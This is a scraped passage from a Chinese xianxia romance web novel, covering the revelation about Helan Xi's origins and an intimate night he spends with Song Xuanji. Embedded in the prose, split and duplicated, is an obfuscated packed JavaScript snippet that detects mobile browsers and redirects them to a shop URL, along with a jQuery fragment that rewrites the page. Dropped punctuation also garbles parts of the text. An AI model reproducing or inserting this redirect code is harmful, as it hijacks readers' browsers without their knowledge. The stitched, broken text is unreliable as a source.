贺兰夫人想想,似乎是这么个理。两个修无情道的男孩哪能扯到聘礼上去,大抵是她多想了。 罢了,宋家的一番好意,她收下也无妨,日后再回礼便是。 “那就多谢宋院长了。”贺兰夫人客客气气道,“二位快进来喝盏茶吧。” 宋玄机跟在宋流纾身后,问:“不是来提亲?要你何用。” “你懂什么,先让贺兰夫人收下‘聘礼’最重要。”宋流纾保持着无懈可击的微笑,道:“正所谓,拿人手短,吃人嘴软。” 宋玄机一语道破:“你只是怕激怒了贺兰夫人,从她那里得不到你想知道的罢了。” 虽说两人是叔侄关系,宋流纾却俨然一副和平辈说话的口吻:“这样,你先帮我搞定沈絮之,日后我再帮你搞定贺兰时雨,如何?” “贺兰时雨不需要你帮我搞定,”宋玄机陈诉事实,“他很喜欢我。” 宋流纾:“……” 金陵城的医修看过贺兰熹后,均称少城主已无大碍,金丹和灵脉都修复得差不多了。贺兰夫人这才放下心来,总算可以专心招待两位贵客了。 席间,宋流纾向贺兰夫人大致说明了贺兰熹受伤的缘由,其中隐去了一些不应被外人知晓的太华宗机密。 待贺兰夫人深切感受到兹事体大事关苍生后,宋流纾图穷匕见,说出了自己此行的真正目的。 贺兰熹好不容易从医修堆中脱身,紧赶慢赶地来到前厅,听见他娘亲道:“我不明白,宋院长,这些事情和熹儿的身世有何关系?” 贺兰熹怔愣一瞬,下意识停住了步伐。 宋流纾耐心地解释:“正如我方才所言,时雨生性活泼却被分入无情道院,浣尘真君的北濯天权又对他言听计从;时雨出生不久,浣尘真君便闭关消失……难道您觉得这些都只是巧合吗?此三 点足以说明时雨和浣尘真君关系匪浅。 “我从未见过浣尘真君,贺兰夫人脸色紧绷,言辞之间表现出极强的戒备:“熹儿和浣尘真君也没有关系。 宋流纾沉默片刻,道:“恕我直言,贺兰城主,时雨的生父究竟是谁? 仿佛被踩中了逆鳞一般,贺兰夫人蓦地闭上了眼。 从十八年前开始,贺兰熹生父的身份便一直是个被诸多修仙世家津津乐道的谜团。 当年,正值芳龄的贺兰若芙还是金陵的少城主,和贺兰熹一样在太华宗修行。她自小喜爱花花草草,又有与灵植沟通的天赋,自然而然地被选入了灵植道院。只是她不怎么爱做功课,考核成绩常年全宗倒数她照样开心,这点倒和贺兰熹一点都不像。 太华宗男修女修相隔十万八千里,贺兰若芙成日和小姐妹待在一处吃喝玩乐,韶华一晃而过。 至于男人……男人是什么,有她的小姐妹们漂亮,有她的小姐妹们香吗。 然而,等她到了该成婚的年纪,她的城主母亲突然因修炼不慎而走火入魔,家族的压力一下子压在了她身上。 母亲缠绵病榻之时,所有的长辈都在逼她召一赘婿,赶紧为贺兰家生下下一任城主,好让她母亲病中安心。 贺兰若芙不堪其扰,以游猎为由离家一年。一年后,她回到家中,已不再做少女的装扮,怀里还多了一个刚出生不久的男婴。 贺兰若芙坚称这个孩子是她出门在外时生下来的,孩子的父亲不过一介籍籍无名的平民,在孩子尚未出生时便因病去世。其他的,她闭口不提。 贺兰家因此鸡飞狗跳了好一阵,为贺兰若芙未婚产子而鸡飞,又因这个孩子展现出的过人天资而狗跳。 最终,把贺兰家做大做强的决心战胜了一切礼义廉耻。 ——什么私生子!那是贺兰家名正言顺的继承人!我们大小姐亲自生的! 随着贺兰熹的长大,众人心中的疑虑不但没有消退,反而越来越强烈了:一介平民,真的能生出他们少城主这样的孩子吗? 不少人明里暗里地打听着贺兰熹生父的身份,有些身份的老一辈当着贺兰若芙的面也没少旁敲侧击。 对此,贺兰若芙是这么应对的: 长辈:“若芙啊,你说你 才貌俱佳,又是一城城主,怎么会心甘情愿和一个普通老百姓生孩子呢。你偷偷告诉伯母,伯母不告诉别人——熹儿的父亲到底哪家的贵公子?” 贺兰若芙:“伯母,您觉得熹儿像不像我?” 长辈:“说实话,熹儿和你长得是一点都不像。” 贺兰若芙:“既然他不像我,那只能像他父亲了?” 长辈:“可不是,他的父亲想必是个世间少见的美男子吧。” 贺兰若芙:“对啊,这就是我给他生孩子的原因——他是美男子啊!” 长辈:“……” 这些年,金陵贺兰家势头正盛,没人敢在贺兰若芙的面前哪壶不开提哪壶。贺兰若芙万万没有想到,今日太华宗的院长竟然也会为此事而来。 贺兰若芙不想对宋流纾太失礼,沉默良久后,道:“宋院长之前应该听说过相关的传闻吧。” 宋流纾颔首道:“但那些只不过是传闻而已。” “传闻就是真的。”贺兰若芙道,“熹儿的父亲一介平民,不足挂齿。十九年了,我早已记不清他长什么样了。” 宋流纾道:“那他的家人……” “他是个孤儿,没有家人,也没有正儿八经的名字。我只是见他貌美,借他生子而已。” 宋流纾眉间蹙起,自然不信这等谎话。他正要再问,宋玄机道:“别勉强她。” 宋流纾略微一顿,微笑道:“城主恕罪,是我冒昧了。” 这时,贺兰熹喊着“娘娘娘”走了进来。一见到贺兰熹,贺兰若芙眼中的戒备就化成了一汪秋水:“熹儿!” 贺兰熹像幼时一般地撒着娇:“我该吃药了,娘你可以陪我吃药吗?可以吗?” 贺兰若芙脸上笑出了一对小梨涡:“当然可以呀——二位,失陪了。”贺兰若芙挺直胸膛,“熹儿要我陪他吃药。” 自贺兰熹入太华宗修行,一年到头母子二人见面的次数一只手都能数得过来。眼下两人暂别客人独处,贺兰熹和以前一样,一张嘴叭叭叭个不停。 贺兰若芙最关心的莫过于无情道院有没有人和贺兰熹说话。贺兰熹开心地告诉她:“我现在每天都说很多话!” 贺兰若芙:“你是不是把你同院的道友都带得话多了起来?你小时候就是 这样,隔壁的小哑巴和你玩了两天就会开口说话了。” 贺兰熹:“没有啊,宋浔的话还是很少,要是他能多说点就好了。” 贺兰若芙:“宋小公子天生无情道,愿意主动和你说话已经很不容易了,你还想他怎么话多呀?每天都拉着你,和你说‘我好喜欢和你做朋友’吗?” 贺兰熹眼睛一亮:“对对对!我就想这样,但是他不肯!宋玄机不肯啊娘,气死我了!” 宋玄机平均一个月才叫他一次宝贝,“喜欢”这种话更不可能天天说了。 贺兰若芙无奈地摇了摇头,望着贺兰熹顾盼生辉的样子,冷不丁想起了宋流纾的话,唇边的笑意渐渐淡去。 她的宝贝因鬼界受了不轻的伤,居然还能笑得这么灿烂。 鬼界一事若不解决,她的宝贝会不会继续受伤呢? 可是…… “熹儿,”贺兰若芙忍不住开口,“鬼界的事,真的和你的身世有关系吗?” 贺兰熹眨了眨眼,答非所问:“娘,你知道吗,太华宗的藏书阁里有很多有多的书,其中有一本记载了一种可以追溯血缘关系的术法,名为【寻源术】。” 贺兰若芙神情微微一变。 “小时候,我问你我父亲是谁,你一直说他死了,可其他人却说你在骗我,说我父亲不可能是普通人,说他一定是位修为不俗的高门弟子。” “我就想,既然娘你不肯告诉我,那我就自己查好了。所以,我偷偷自学了寻源术,想着如果遇到和我长得像的长辈,就在他们身上用上一用。”贺兰熹不紧不慢地讲述着,“但我不知道我的寻源术是否真的有效,我必须先找个人试试效果。” 贺兰若芙鼻子一酸,哑声道:“你……在我 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宋家叔侄再次被请入堂中时,贺兰熹站在母亲身边,暗暗冲宋玄机比了一个“放心,我已解决”的手势。 “我的确没有见过浣尘真君。”贺兰若芙抿了一口茶,将往事娓娓道来:“将熹儿抱回贺兰家之前,我只见过一个身份不明的神秘青年。” 听到“抱回”二字,宋玄机立即朝贺兰熹看去,贺兰熹却心血来潮地扮起了鬼,对着他吐了吐舌头。 宋玄机:“……” 贺兰若芙不想多提贺兰熹非她亲生一事,宋流纾也不会抓着这个多问:“那名青年长相如何?” 贺兰若芙:“不知,他头戴帷帽,我看不清他的面容。” 宋流纾:“单看气质像美人吗?” 贺兰若芙回忆着道:“还是挺像的。” 宋流纾:“哦,那应该就是沈絮之了。” 贺兰熹:“?不是,您这也太草率了吧!拿出您平时的运筹帷幄来好吗宋院长!” 宋流纾:“好的,拿了——城主请继续,您是在哪里见到他的?” 贺兰若芙:“洛阳城。” “洛阳?”宋流纾沉吟道,“沈絮之去洛阳做什么,他又不是洛阳人。” 贺兰若芙:“当年,洛阳城有一专吃小儿的邪祟作妖。我既离家游猎为的就是为民除害,听闻此事后,我当即赶往了洛阳城……” 不料邪祟的危险程度远远超出了她的预料。她和邪祟苦战多时,已是筋疲力尽,自保都做不到,遑论救下那些无辜的孩子了。 千钧一发之际,一名身穿白衣,头戴帷帽的男子倏然而至,剑都没拔,仅仅一个抬眸,那作恶的邪祟便在弹指间灰飞烟灭,连一声惨叫都没来得及留下。 贺兰若芙:“我被吓得说不出话,好半天才想起来我应该向救命恩人道谢。恩人说‘哎呀不用谢’…… 宋流纾怀疑道:“他当真和你说了‘哎呀不用谢’五字? 贺兰若芙理直气壮:“他没说啊,那我不是这么讲述更流畅一点么。 宋流纾笑道:“时雨的性情原来是随了城主,真是一模一样呢。 贺兰若芙被这句话取悦了,抬手理了理鬓发,轻咳两声,继续道:“恩人只说了八个字,‘明日午时,城外农舍’——就是让我第二日晌午,去城外的农舍找他。 贺兰熹谨慎地做出判断:“看来,娘的恩人应该就是浣尘真君了。 宋玄机:“不排除江院长。 贺兰熹:“可是江院长的气质又不是美人挂的。 贺兰若芙:“总之,第二天,我如约而至,一进门就瞧见恩人怀里抱着一个非常非常可爱的小宝宝——恩人还在给小宝宝喂奶呢! “等等——喂奶?宋流纾饶有兴趣道,“沈絮之是用什么喂时雨奶的? 贺兰熹:“!!! 宋玄机:“。。。 “自然是奶瓶啊!贺兰若芙莫名其妙,“不然还能是什么? 贺兰熹凉凉道:“宋院长,您被浣尘真君禁言是真不冤。 作者有话要说 小叔不许带坏我们宋同学! 路上赶出来了一章!明天行程很满,应该没更新,大家别等哦 第 99 章 你都坐我床上啦【... 彼时的贺兰若芙即将成为贺兰家新一任家主,肩负家族重担的她不愿招赘成亲,却需要一个属于自己的,天资不俗的孩子。 金陵贺兰氏家大业大,有实力,也有财力培养出一个天之骄子。浣尘真君或许正是看重这两点,才会将贺兰熹交给贺兰若芙抚养。 “我到农舍的时候,恩人没有立即理我,而是先用奶瓶喂宝宝喝完了奶。宝宝睡着后,恩人问我想不想抚养这个孩子。”贺兰若芙着重强调了“奶瓶”二字,“我虽然一眼便喜欢上了那个孩子,亦知收养一事非同小可。我问恩人宝宝的亲生父母在哪里,都是些什么人,他们真的不要宝宝了吗。恩人不愿透露这些,他只告诉了我宝宝的生辰,”贺兰若芙看向贺兰熹,“是正月初九。” 浣尘真君不愿透露的事情,贺兰若芙再如何追问也得不到答案。十八年来,她所知并不比绯月真君多多少。她同样对贺兰熹的父母一无所知,要不是今日绯月真君登门,她甚至不知道当年救她一命的恩人竟然是无情道院的院长。 虽然预料到了答案,宋流纾依旧问了一句:“沈絮之还说了别的么。” 贺兰若芙摇了摇头:“没有,恩人一共只和我说了不超过三十个字,我同意收养宝宝后他便走了。从那以后,我再也没有见过他。” 宋流纾在贺兰若芙的讲述中仿佛能看到那样一个画面—— 冬日的洛阳城,雪花纷扬。美丽的少女撑着伞,满怀敬意地踏过被白雪覆盖的农舍前院。 房檐下,她收起伞,嘴里呼出阵阵温暖的白雾。 她正要敲门,门自己开了。 她看到了一个如同琉璃般明澈的身影。 青年周身包裹在一片宁静淡然的氛围中,面容隐藏在帷帽之下,一手拿着瓷质的奶瓶,另一手抱着一个白白嫩嫩的小宝宝。 无情道院的大宝贝抱着无情道院的小宝贝么…… “绯月真君?”贺兰熹的手在宋流纾眼前晃了两下,“您在想什么呢?您都想出神了。” 宋流纾漫不经心道:“在想沈絮之是不是和哪个女人生的你。” 贺兰熹:“……真君您理智点,院长他修的无情道。” 浣尘真君只可能为了约束鬼界去和绯月真君双修,绯月真君在某个层面上来说也 是浣尘真君的唯一了。 更何况,浣尘真君的肉身在绯月真君那里。绯月真君既然一早就怀疑他和浣尘真君的关系,一定会找机会在他和浣尘真君身上用寻源术。若他真是浣尘真君的血脉,绯月真君估计早疯了,哪还能在这里心平气和地开他和浣尘真君的玩笑。 宋流纾沉吟少顷,问:“城主方才说,时雨的生辰是沈絮之告诉你的?” 贺兰若芙:“是的,这是恩人和我说的最后一句话。” “多谢城主告知,”宋流纾起身道,“本座就此告辞了。” 贺兰熹:“您要去哪里?” 宋流纾:“去查你生辰那日,沈絮之去了哪里,见了什么人,又做了什么事。” 贺兰熹不假思索道:“我们和您一起去!” “不必了,你养好伤就和玄机一起回太华宗吧。”宋流纾似笑非笑道,“年终考核将至,你们已经落下了不少功课,再不加把劲今年怕是要被观宁超了。” 贺兰熹:“……那我们明日就回太华宗!” 贺兰熹来也匆匆去也匆匆,只能在家中住一夜。贺兰若芙不舍又担心,生怕贺兰熹会为他的亲生父母伤心。好在贺兰熹的情绪似乎没有受到什么影响,仍旧如往常一般,小嘴叭叭个不停,还向她讨要桃胶百合粥当宵夜。 “桃胶百合粥是吧?娘马上亲自……命人给你熬上,一个时辰后保管送到你房中!”贺兰若芙逐一交代侍从,“另外,为小宋公子收拾一间客房出来。” “就住一晚上还收拾什么呀!”贺兰熹一直等着娘亲说这个呢,“宋道友住我房间就好了!” 贺兰若芙奇道:“你房间就一张床怎么睡两人?” 贺兰熹理直气壮:“你和你的姐妹有的时候也会睡一张床呀!” 被说服的贺兰若芙不疑有他:“哦,倒也是。” 宋玄机尚未表态就被贺兰熹拉着告辞。他一手被贺兰熹拉着,向贺兰夫人端正地行了礼,而后放任贺兰熹把自己飞快地拉走了。 “宋浔宋浔,我带你去我屋子玩!” 贺兰熹自不和奶娘和娘亲一起睡后便有了自己的院子和屋子。这两年他不常在家中住,屋子只许别人打扫不许别人整理,因此屋子里维持着他入学之前的样子。 怪 谈话本乱七八糟地摆在书架上,随处可见各类稀奇古怪的小玩意儿,书桌后的墙壁上悬挂着一副小儿信笔涂鸦之作,画的是小鸡啄米图。 继续往里走,卷起一道珠帘,后头是一张贺兰熹睡了十几年的床。 贺兰熹喜欢软软的东西,他的床铺也是软软的,躺在上面仿佛陷入了层层粉色云朵。床头摆着一个软枕,枕头旁立着一个头上写着“王”字,里头填充着棉花的金色布老虎。 宋玄机拿起布老虎端详起来。贺兰熹解释道:“我小时候怕黑就抱着它,让它陪我睡。” 宋玄机:“小时候,是指十八岁?” 贺兰熹脸一红:“后来就是习惯而已,床上没有它我也能睡着的!我在仙舍的床上没有布老虎!” “哦。”宋玄机将布老虎放回原处,在床边坐下:“过来。” “我过来啦。”贺兰熹走到宋玄机面前,宋玄机拉着他,带着他坐到了自己腿上。 贺兰熹:“!” 宋玄机这是怎么了,好主动啊! 宋玄机看着他:“不在乎自己的身世?” 贺兰熹想要搂住宋玄机脖子的手顿了顿,脑袋往他肩膀上一趴:“还好吧。” 娘亲编的父亲的故事实在不怎么高明,他很早就意识到了自己身世可能不简单。他选择不去想,是因为他已经有一个很爱他的娘亲了。 他不知道自己的亲生父母是谁,也不知道刚出生的自己为何会被浣尘真君带到洛阳送给娘亲。但除了宋玄机和祝如霜不和他说话的一年,他这十八年真的过得很快乐。 他的父母和浣尘真君或许不想要他,但他娘和宋玄机可喜欢他了。他还有祝如霜,白观宁……这就足够了。 宋玄机问他:“想不想知道亲生父母是谁。” “应该还是想的?”贺兰熹不想宋玄机为自己担心,学着绯月真君开起了玩笑:“至少要先排除他们不是姑苏宋氏的人!” 宋玄机双肩微沉:“不会是。” “那万一呢!”贺兰熹不依不饶,“万一我是你远方姑姑的表妹的儿子的……唔?” 宋玄机的手放在贺兰熹后脑上,迫使他低下头,堵住了那张滔滔不绝的嘴唇。 怎么又不打个招呼就亲我……贺兰熹心口一跳,不算 生涩也不算熟练地地闭上了眼,有关身世的微不足道的烦恼瞬间从他脑海中消失了。 嗯……宋玄机第四次亲他了,好像越来越频繁了呢。 再多亲几次,他是不是就不会再在宋玄机亲他的时候紧张了? 带着安慰性质的吻,温柔缱绻,亲得一点都不凶,很舒服。 现在好了,他满心满眼都是宋玄机,哪里还有心思去为别的事情难过。 吻了一会儿,贺兰熹的脸颊渐渐爬上红霞,呼吸也变得急促了起来。 他忽然意识到,这次的吻和以前不一样。宋玄机在金陵,在他家,在他从小睡到大的床上,亲他…… 而他呢?他坐在宋玄机腿上。 他们不在太华宗,也没有哪个兄弟的母亲需要他们去救。 他们有一整晚的时间。 好兴奋啊,他的床要沾染上宋玄机的气息了,如果在盛夏一定很凉快。 想到这里,不仅是脸,贺兰熹感觉自己浑身上下都在发烫。他稍稍移开嘴唇,撇开脸道:“宋浔……” 宋玄机的唇追了上来:“嗯?” 贺兰熹羞得不敢看宋玄机,一双眼睛强作镇定地盯着床头的布老虎,双手抵在宋玄机胸口:“今晚,要不要……双修?”为了减轻羞耻,贺兰熹又欲盖弥彰道:“双修有助于我灵脉修复……不是我说的,是小叔在课堂上教的。” 宋玄机揽在贺兰熹腰间的手一紧,略作思索,道:“不做。” “不做?”贺兰熹倏地看向宋玄机,简直怀疑自己的耳朵出问题了:“你不想?你都十分了!不要以为我感觉不到!” 宋玄机:“我十分,但能忍。” 贺兰熹:“今夜天时地利人和,你为什么要忍啊!” 宋玄机语气平静:“当日在楼兰王宫,我那么想要你,你不也拒绝我了么。” 贺兰熹又倏地站了起来,难以置信道:“不是吧宋玄机,这种事你也记仇?!” 当时在楼兰王宫情况特殊,岂是今日能比的! 贺兰熹越想越难生气:“你说,你根本不喜欢我!你说啊!” “不说。”宋玄机道,“我喜欢你。” 贺兰熹咄咄逼人:“你喜欢我为什么不睡我!” 宋玄机看着气急 败坏的宝贝微微挑眉:“因为稍后有人会来送宵夜。”不排除贺兰夫人亲自送来的可能性。 “哦……”贺兰熹这才想起来他还有一碗桃胶百合粥要喝气焰一下子全消了。他慢吞吞地坐回宋玄机腿上抓着宋玄机的流苏理亏但撒娇:“没关系熬粥需要好一会儿呢那个时候我们都结束了。” 宋玄机:“?” “我现在就想要。”贺兰熹主动在宋玄机唇瓣上舔了一口:“宋浔 宋玄机不为所动垂着长睫任他亲吻舔咬冷静淡漠的模样让贺兰熹再一次清楚地认识到了宋玄机在无情道上的天赋。 贺兰熹已经很努力地在主动了但他到底经验有限除了亲宋玄机在宋玄机怀里蹭来蹭去其他的他一概不会。 早知道多看几次最真实的春宫图了。想要引诱无情道的天选之子和自己双修光是亲和蹭可远远不够。宋玄机那么能忍他还能做些什么呢? 要不他把小白送他的腰链戴上? 贺兰熹绞尽脑汁的同时嘴唇来到了宋玄机的耳朵上刚要咬上一口忽然腰上受力紧接着一阵天旋地转——他猝不及防地被宋玄机按在了床上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我……我才不会……!我没有你那么迫不及待!”贺兰熹一边喊宋玄机的名字一边埋怨,“宋浔,你……你话怎么变多了?” 宋玄机:“不多。” 仔细想想,宋玄机的确没说很多。一开始也是他非要和宋玄机说话的。现在的局面似乎是他自找的。 他如愿以偿地看到了金簪流苏在宋玄机脸庞晃动的样子。 脸好漂亮,流苏晃得好厉害。 贺兰熹盯着那两道流苏,伸出手想去触碰他们。眼看就碰到了,他的手陡然垂了下来:“啊……!” 贺兰熹指尖触碰到一个柔软的东西,原来是陪伴着他长大的布老虎。 “我不要和你在这种时候说话了。”贺兰熹忍不住哭了出来,本能地将能给他带来的安慰的布老虎紧紧抱进了怀里:“我总是说不过你……” 宋玄机呼吸蓦地一窒,静静看了贺兰熹片刻,忽然又低头吻住了他。 和之前的吻不一样,这个吻又急又凶。贺兰熹明显地感觉到宋玄机不太对……难道十分之后还有十二分吗? 贺兰熹便是想说话都说不出来了。只要他不主动,宋玄机应该也不会在这种情况下开口。可他却在恍惚之中,听见了宋玄机掩饰不了的呼吸声。 宋玄机轻喘地唤出他的名字:“……贺兰熹。” 贺兰熹想回应他,可他能发出来的只有压抑不住的哭声。 不能哭,他越哭流苏就晃得越厉害。 混乱中,贺兰熹甚至无法分辨宋玄机有没有完全失控。宋玄机明明那么凶,宋玄机在喘,可只看他不染尘埃的脸,根本想象不到他现在在做什么样的事情。 好大的反差……好兴奋。 不知过了多久,门外响起敲门声,一名侍从的声音响了起来:“少城主,您的桃胶百合粥来了。 宵夜……贺兰熹迷迷糊糊地想,熬一碗桃胶百合粥需要多久来着……已经过了这么久了吗。 “宋浔,你、你都不用休息的吗?贺兰熹的嗓子哑得不像话,连抱布老虎的力气都没有了,双手无力地搭在宋玄机的手臂上:“有人来了…… “知道。 贺兰熹没想到夜宵来了他还不能脱身,靠着宋玄机的肩膀再次哭了出来:“不要,我不要说话! 宋玄机:“说话和亲我,自己选。 贺兰熹:“我没力气…… “你有,宋玄机说,“你很厉害。 贺兰熹:“……宋玄机是一直这么坏,还是突然变坏了,很厉害的人就不能撒娇么。 宋玄机哄着他:“宝贝很厉害,一定还有力气。 贺兰熹实在不想在这种时候和别人说话,宋玄机还叫他宝贝,他只好委委屈屈地选择了后者,主动贴进宋玄机怀里,再次献出了自己的唇。 上上下下,严严实实,毫无闲暇。 宋玄机将贺兰熹按得更紧,当贺兰熹到了极限松开他的唇改为咬他肩膀的同时,他用平静清冷的声线替不知天高地厚的宝贝处理烂摊子:“少城主调息中,一个时辰后再送。 “唔……!贺兰熹慢慢地松开牙,涣散的目光落在了宋玄机的肩膀上。 丝丝血迹在雪白的校服里若隐若现,仿佛一朵在宋玄机肩头绽放的红梅。 嗯?没脱衣服,这次怎么又忘了脱衣服啊……他都还没有看过宋玄机的身体呢。 下次、下次一定要记得脱啊……要把宋玄机脱得一干二净才行。 贺兰熹这么想着,闭上眼,在满是宋玄机气息的怀抱里睡了过去。 作者有话要说 第 100 章 我确实吃到了 再次醒来的时候,贺兰熹筋疲力尽腰酸背痛却能感觉到体内充沛的灵力,断裂的灵脉也全部被修复好了。 十分奇妙的感觉用浅显易懂的话来比喻就是:他好累累得不想再被宋玄机睡了,宋玄机再多睡他一次他肯定挺不过来。 可话又说回来了如果此时有敌情来犯,在被宋玄机睡了这么多次后他应该还有把敌人头盖骨掀下来的力气。 妙合欢道的双修之法着实是妙。不怪合欢道人人热衷双修又舒服又能精进修为,还能有事半功倍的效果。还好北洛上神高瞻远瞩,指定无情道院只要最强的弟子,否则全宗第一的位置早该是合欢道院的了。 贺兰熹一通快速的胡思乱想后才发现自己虽然枕着宋玄机的大腿 ——人间瑶池泉水汨汨,他们在一片缭绕的云雾之中洗净尘世如梦似幻。 情欲褪去宋玄机又恢复了往日波澜不惊的模样低眉看着他:“醒了。” 贺兰熹在宋玄机怀里爬了起来,四处张望:“我们在哪?” “春情茧。”宋玄机道“带你进来清洗。” 难怪他身上暖洋洋的。只是现在天都亮了万一他娘来房间找他,没看到他人却看到了一个大蚕茧…… “洗完了你怎么不抱我回房间睡啊。”贺兰熹埋怨道,“我娘找不到我会尖叫的。” 宋玄机云淡风轻道:“你把你的床弄得很湿,无法睡人。” 贺兰熹最受不了宋玄机用无情道特有的淡漠口吻说这些顶着通红的脸颊和宋玄机争论起来:“那也不是我一个人弄的难道你就没份吗。” 宋玄机:“没有。” 贺兰熹:“什么?你看着我的眼睛再说一遍!” 宋玄机:“我之尽与你。” 简简单单五个字犹如天降神雷把贺兰熹劈得脑袋嗡嗡完全反驳不了。宋玄机却还嫌不够似的又补充了一句:“是你让它们流出来的。” 贺兰熹瞠目结舌好半天才找到了一个突破口:“那你为什么不清理床?一道术法的事情而已。” 宋玄机一挥手周围的景象便消失了。贺兰熹被带出了春情茧回到了自己房间正对着一张凌乱的湿了好几块的床铺 。 同时,宋玄机回答了他的疑问:“想让你看。 贺兰熹:“!!! 宋玄机想让他看什么?看他昨晚有多情难自抑,连从小陪伴他长大的布老虎都被他打湿了吗? 宋玄机:“你这样,需要我做前戏? “宋浔,你简直……贺兰熹数次吞咽口水,绞尽脑汁也想不出一句可以形容宋玄机这种行为的词,气得踮起脚去捏宋玄机的脸:“太那什么了! 宋玄机这么冷淡一人居然也不躲,由着他无所欲为,问:“出完气还喝粥吗。 日晒三竿之际,贺兰熹终于如愿以偿地喝上了桃胶百合粥。喝完粥,两人差不多该动身回太华宗了。 此次回来得匆忙,贺兰熹都没时间和金陵的伙伴们打声招呼。 想当初,他每次回家都会把几个要好的修士折腾得够呛,一个个唇焦口燥,苦不堪言,在他离家后直接化身无情道院外弟子,三天之内能不说话就不说话…… 这已经成贺兰家的传统了,不和他们聊上一顿就走的话,贺兰熹总觉得少了些什么。 贺兰熹命令宋玄机在他娘亲来之前收拾好床铺并洗干净布老虎,自己则在道场找到了解弘,直言要和他聊上一聊。 “兄弟好久不见!贺兰熹的语气愉悦轻快,“你背上的痣有没有变大? 解弘闻言,当即想起了当初被少城主的健谈支配的恐惧,吓得原地求饶:“少城主我求求您放过我吧!我都听城主说了,您和小宋公子已经成了挚友,有他陪您聊天难道还不够吗? “这怎么能一样呢?和你聊天我又不会被你突如其来的‘致命一击’搞得哑口无言,我能说得过你。贺兰熹不假思索道,“更何况,我和宋浔昨夜其实没怎么说话。 解弘奇道:“你和小宋公子昨晚一晚上待在一起,却不说话?那你们都在做什么? 面对如此刁钻的提问,贺兰熹很想沉默以对,但他娘亲从小就教他听到了别人说话一定要回复,不然很不礼貌。于是,他倨傲地说:“我不要回答你这个问题。 解弘莫名其妙:“好吧。 解弘是贺兰熹在金陵最亲近的朋友,贺兰熹入太华宗的第一年是怎么过来的他全听在耳里。 贺兰熹 之前没少向解弘抱怨他的两个道友对他有多冷淡。如今见贺兰熹和宋玄机关系好到同床而眠的地步,解弘惊讶之余,更多的是为贺兰熹开心。 “能和小宋公子成为好朋友,您一定很高兴。”解弘感慨道,“不枉您去年就那么喜欢他了。” 贺兰熹一愣:“我没有吧,我是今年才喜欢他的。” 解弘摇摇头,心道少城主多聪明一人啊,竟在这种事情上如此后知后觉。 “需要我帮您回忆一下去年您和我们传音的时候是怎么形容小宋公子的吗?”解弘清了清嗓子,模仿贺兰熹的口吻道:“‘我今天见到了我的两个同院道友,两个人都好美!尤其是宋道友,他戴着一个非常非常漂亮的金簪流苏,他真的是我见过最好看的人了’!” “我一定要和宋道友做好朋友,我待会就去敲他仙舍的门,把我给他准备的甜糕送给他!等我好消息!” “我失败了……我才敲开宋道友的门,没来得及说半个字,许师兄就出现了,他把我给道友们准备的礼物没收了……还说无情道院禁止弟子互相窜门……” “今天江院长给我们上课了,江院长好可怕,我再也不敢找宋浔和祝云说话了。” “解弘解弘,你绝对想不到宋浔今天做了什么!他主动和我说话了!《九州史》的课堂上,他提醒我书拿反了。虽然他的声音和语气冷淡的要命,但是他先开的口!” “好想摸摸宋浔的流苏啊,也不知道它们摸起来是什么感觉的。” “我不想修行了,我要回家……我已经五天没和宋浔和祝云说话了……我想摸宋浔的流苏。” “辟谷的第七天,我大概要死了吧。我饿到昏迷,做了一个奇怪的梦。梦见宋浔的流苏变成了面条,我一个鲤鱼打挺,扒在他身上吃他的流苏……你猜怎么着?醒来的时候,宋浔还真就在我身边。他问我还好么,这是他第二次主动和我说话。” “唉,解弘,我和你说件事,你不要告诉我娘,我怕她担心。就是我也不知道我做了什么,合欢道的人天天围着我转我好烦啊。我总觉得有些人对我有所密谋,我要当心点才行……” “我不烦啦,虽然我还是不知道我做了什么,但合欢道的人已经不会来骚扰我了。” “光阴似箭,日月如梭 。转眼我在太华宗修行已经半年了。换言之我半年没见到姑娘了。我现在越看宋浔越挪不开眼睛这这这这正常吗?快告诉我这是正常的!我受不了了!” …… 解弘一口气把贺兰熹的老底揭了个透最后问:“您还要我继续吗少城主?” 贺兰熹怔愣许久震惊道:“这些都是我说的吗?” “不然呢?”解弘苦笑着说“您和我们传音十句话至少有五句话里带着您的宋道友。不瞒您说我们晚上睡觉耳朵旁都仿佛回荡着小宋公子的名字。” 解弘复述的每一件事均是真实发生过的如果不是他说的解弘怎么会知道。 是真的他确实说过这些话。 自己说的时候还不觉得此刻听解弘一句一句地复述他才发觉到原来入太华宗的第一年他就那么在意宋玄机的一举一动了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177146|121100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >为什么会在意?因为宋玄机的容貌还是因为宋家的金簪流苏总是在吸引他的视线? 可绯月真君也很美貌也有金簪流苏他却一点不在意。 现在回想起来从见到宋玄机的第一眼开始他好像就在心里把宋玄机和别人区分开了。 别人是别人宋玄机是宋玄机。 就像当初在风月宝匣他误以为匣内的宋玄机只是一个幻象所以才能心无负担地和宋玄机双修。得知真相后他崩溃归崩溃但居然没有生气甚至萌生出幸好是宋玄机的念头。 如果风月宝匣里的人换成别人他恐怕宁死也不会让别人碰自己一根手指头。 这一切不仅仅是“在意”两个字能解释的。 解弘说的没错 如此说来是他先喜欢宋玄机的? 他赢了!他必须立刻把这件事告诉宋玄机才行! “太棒了谢谢你告诉我这些。”贺兰熹兴奋道“你就是我最好的朋友——仅限金陵城内!” 解弘:“……?” 贺兰熹告别解弘直奔自己的小院殊不知宋玄机已经在院子里和他娘亲聊上了。 贺兰若芙惦记着宋玄机喜欢吃甜食的事情特意送来了一些金陵独有的甜食。 “熹儿这孩子怎么能把你一 个人留在这里,自己去找朋友叙旧呢。 宋玄机瞥了眼干爽的床铺,道:“他应该的。 “你不用帮他说话。贺兰若芙热情地把筷子往宋玄机手里塞,“玄机,先尝尝这些,贺兰府上的手艺,你怕是从未吃过呢。 “有劳贺兰城主。宋玄机向贺兰夫人道了声谢,望着那一道道精心装盘的点心,说:“我吃过。 贺兰若芙讶然:“你吃过? 